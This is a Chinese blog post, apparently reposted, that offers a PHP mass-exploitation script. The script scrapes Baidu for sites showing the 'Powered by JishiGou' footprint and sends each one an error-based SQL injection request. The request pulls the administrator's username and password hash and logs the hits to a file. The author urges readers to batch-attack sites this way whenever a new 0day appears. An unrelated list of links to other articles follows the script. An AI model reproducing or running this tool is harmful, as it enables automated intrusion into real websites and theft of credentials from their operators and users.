贴出一个php的批量搜索吧
原理很简单,以后看着0day的时候都试着批量下吧,省事。。。。
<?php
$keyword='Powered by JishiGou' ; // 批量关键字
$timeout = 40;
$stratpage =1; //启始页
$lastpage = 10000;//终止页
for ($i=$stratpage ; $i<=$lastpage ; $i++ ){
$array=ReadBaiduList($keyword,$timeout,$i);//百度搜索到的url保存到array数据
foreach ($array as $key=>$url ){//对数据遍历,看是否有漏洞
//echo $key;
$url_list=file('url.txt');
if (in_array("$url\r\n",$url_list)){//判断是否有重复的url
echo " repeat\n";
}else{
$fp = @fopen('url.txt', 'a');
@fwrite($fp, $url."\r\n");
@fclose($fp);
okbug($url);
}
}
}
function okbug($host){ //这个提抓下包
$tmp = array();
$data = '';
$fp = @fsockopen($host,80,$errno,$errstr,60);
@fputs($fp,'GET /wap/index.php?mod=pm&pm_new=and(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x27,0x7e,jishigou_members.username,0x27,0x7e,jishigou_members.password,0x27,0x7e)%20from%20jishigou_members%20where%20uid=1%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1 HTTP/1.1'."\r\nHost:$host\r\nConnection: Close\r\n\r\n");
while ($fp && !feof($fp))
$data .= fread($fp, 102400);
@fclose($fp);
if(preg_match('/Duplicate entry(.)+for key/i',$data)) {
$i = strpos($data,'Duplicate entry');
$fp = @fopen('shell.txt', 'a');
@fwrite($fp, $host." ".substr($data,$i+16,50)."\r\n");
@fclose($fp);
return true;
}else{
return false;
}
}
function ReadBaiduList($keyword,$timeout,$nowpage)
{
$tmp = array();
//$data = '';
$nowpage = ($nowpage-1)*10;
//echo $nowpage;
$fp = @fsockopen('www.baidu.com',80,$errno,$errstr,$timeout);
@fputs($fp,"GET /s?wd=".urlencode($keyword)."&pn=".$nowpage."&rn=100&usm=1 HTTP/1.1
Host: www.baidu.com
Connection: Close\r\n\r\n");
while ($fp && !feof($fp))
$data .= fread($fp, 1024);
//echo $date;
@fclose($fp);
preg_match_all("/\}\)\" href\=\"http\:\/\/([^~]*?)\" target\=\"\_blank\"/i",$data,$tmp);
$num = count($tmp[1]);
//echo $num;
$array = array();
for($i = 0;$i < $num;$i++)
{
//echo $i;
$row = explode('/',$tmp[1][$i]);
$array[] = str_replace('http://','',$row[0]);
}
return $array;
}
?>
转载于:https://www.cnblogs.com/belie8/archive/2012/02/02/2336222.html
贴出一个php的批量搜索吧相关推荐
- bat批量剪切命令_Windows批量搜索并复制/剪切文件的批处理程序实例
搜索包含关键字的文件名是最常用的功能之一,比如按人名搜索mp3.按内容搜索图纸等等,当需要搜索成百上千个关键词时,会消耗大量的人力和时间,这时就需要批量搜索功能.本文介绍一个我自己编写的.用于批量搜索 ...
- 用好这 42 款 Chrome 插件,每年轻松省出一个年假(附下载)
来源:码农有道 本文约3700字,建议阅读8分钟. 为了更好地使用谷歌浏览器,最近小编整理了一些常用的谷歌插件,分享给大家. 前言 相信很多人都在使用 Chrome 浏览器,其流畅的浏览体验得到了不少 ...
- 深度 | 谷歌的新CNN特征可视化方法,构造出一个华丽繁复的新世界
作者:晓凡 概要:近日,来自谷歌大脑和谷歌研究院的一篇技术文章又从一个新的角度拓展了人类对神经网络的理解,得到的可视化结果也非常亮眼.非常魔性. 深度神经网络解释性不好的问题一直是所有研究人员和商业应 ...
- 给定一个最多包含40亿个随机排列的32位整数的顺序文件,找出一个不在文件中的32位整数
给定一个最多包含40亿个随机排列的32位整数的顺序文件,找出一个不在文件中的32位整数. 1.在文件中至少存在这样一个数? 2.如果有足够的内存,如何处理? ...
- 平面上给定n条线段,找出一个点,使这个点到这n条线段的距离和最小。
题目:平面上给定n条线段,找出一个点,使这个点到这n条线段的距离和最小. 源码如下: 1 #include <iostream> 2 #include <string.h> 3 ...
- 淘宝拼多多京东等电商平台,为何孵化不出一个小红书?(内部原因版)
电商平台做内容业务难,还是内容平台做电商业务难? 这个问题好像困扰了很多同行前辈许多年,hhh. 在消费决策类内容平台和电商平台做消费决策类内容若干年,不敢说能把这个问题分析地很透彻,但就从最近和同行 ...
- python counter 出现次数最少的元素_[PY3]——找出一个序列中出现次数最多的元素/collections.Counter 类的用法...
问题 怎样找出一个序列中出现次数最多的元素呢? 解决方案 collections.Counter 类就是专门为这类问题而设计的, 它甚至有一个有用的 most_common() 方法直接给了你答案 c ...
- python输入一个英文句子 输出单词个数_编写程序,给出一个英文句子,统计单词个数。_学小易找答案...
[简答题]叙述pass语句的作用. [简答题]吹风机不工作,可以用万用表检测吗?在网上搜索关键词,吹风机不工作怎么办? [单选题]以下代码运行结果正确的是哪一项?() x=2 if x:print(T ...
- CSP 201409-5 拼图问题(给出一个n×m的方格图,现在要用如下L型的积木拼到这个图中......)
CSP 201409-5 拼图问题 一.题目信息 第一次写博客,有什么疏漏之处,欢迎各位大佬指出<(* ̄▽ ̄*)/ 题目要求 试题编号 201409-5 试题名称 拼图 时间限制 3.0s 试题 ...
最新文章
- React Native —— App
- 1032 Sharing
- 5.数据绑定和表单标签库
- Wireshark抓包—maybe caused by 'IP chechsum offload'?
- 傅里叶变换基本概念及复数类实现
- Cognos 10.1 饼图百分比小数点显示的问题
- 在 WinForm 中使用 Direct2D
- 【总结整理】javascript的函数调用时是否加括号
- 局域网电脑Sql2008 R2无法连接到localhost 解决方案
- Lync问题解决之前端服务器Wmf2008R2错误
- C语言比赛评分系统报告,c语言编程:本课题模拟一个简单的比赛评分系统,选手从1号开始连续编号,选手得分分为专业素质得分和综...
- 申请CSDN博客专家和码云推荐项目
- 宗地自动编号及属性赋值
- 海量数据时代,磁带存储的“涅槃重生”
- 自己做项目时整理的上传Excel表格
- A Comprehensive Survey on Graph Neural Networks(图神经网络综合研究)
- 1W存一年和两个5000存一年,收益有区别吗?
- 常网小站 骗子网站 大家小心别上当
- PHP cURL学习-域名备案查询
- Nginx 核心知识点